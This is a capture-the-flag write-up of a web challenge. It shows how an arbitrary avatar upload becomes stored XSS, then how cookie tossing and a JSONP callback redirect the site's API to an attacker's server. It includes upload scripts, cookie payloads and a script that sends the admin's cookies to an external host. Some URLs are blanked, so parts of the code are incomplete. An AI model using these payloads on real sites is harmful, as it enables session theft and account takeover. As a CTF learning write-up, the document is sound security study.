User Center [web]


Steal admin's cookie!

  • URL:


Web application where we can register an user and login.

There are 3 domains in use:

  • : the main website
  • : CDN
  • : The API for login, register, and avatar upload

Arbitrary file upload

We can upload whatever we want by changing the MIME type to */*:

import requests

cookies = {
    "PHPSESSID": '7i9mbrbhddlk8f02566i2q34qk'

data = {
    "avatar": "PGh0bWw+PHNjcmlwdD5hbGVydCgiYW51cyIpOzwvc2NyaXB0PjwvaHRtbD4=",
    "type": "*/*",
    "bio": "empty"

resp ='', json=data, cookies=cookies)

Which will upload the following HTML to$random_file_name:


However, this XSS is on the domain and we are interested in the cookie over at (or the main site,

So, we have XSS, but on the wrong subdomain. We cannot steal the admin's cookies. We also can't make requests to from due to CORS:

# curl -is | grep Access
Access-Control-Allow-Credentials: true

Cookie shenanigans

We can change the API domain by abusing the replaceForbiden function and FF's behaviour a bit, so by setting a cookie from the static subdomain as such:

document.cookie = "\uc040q;";

Then triggering a request to the main site, we can get it to make its XHRs to our domain. This payload works:

document.cookie = "\uc040q;";

This works because the bot doesn't seem to visit the root domain first, and we're its first point of entry, so it uses the existing cookie that's not host-only.

More shenanigans

The main site comes with main.js in which some filtering on the api_server cookie is performed, after which the value is used in a jQuery $.getJSON.

return str.replace(/[ !"#$%&´()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
$.getJSON(`//${api}`, function(data) {
  if(!data.success) {
  } else {
    profile(data.user, true);
}).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});

To re-iterate, we can control api, and perhaps we can play around with JSONP. From the jQuery documentation:

If the URL includes the string callback=? (or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of the jsonp data type in $.ajax() for more details.

This gets us full XSS access to the main domain.


Payload served from a server we control (this will be fetched and executed by the bot):

var xhr = new XMLHttpRequest();'GET', '', true);
xhr.withCredentials = true;
xhr.onload = function () {
var request = new XMLHttpRequest();'GET', '' + encodeURIComponent(document.cookie), true);

Payload to upload as an avatar and then report:

function start()  {
    document.cookie = "\uc040callback\uc040\uc040q;";

<body onload="start()";>

Results in a script load from

Admin will send his cookies to us.



Side-note: We did not solve this during the CTF. While we had full control over the main domain, we were under the impression that we had to steal the admin cookie (PHPSESSID) on the api domain. Mainly because the only cookie the users had were on the api domain. That we had to steal a (for us unknown) cookie on the main domain is something we missed, and in our opinion did not make much sense in the challenge.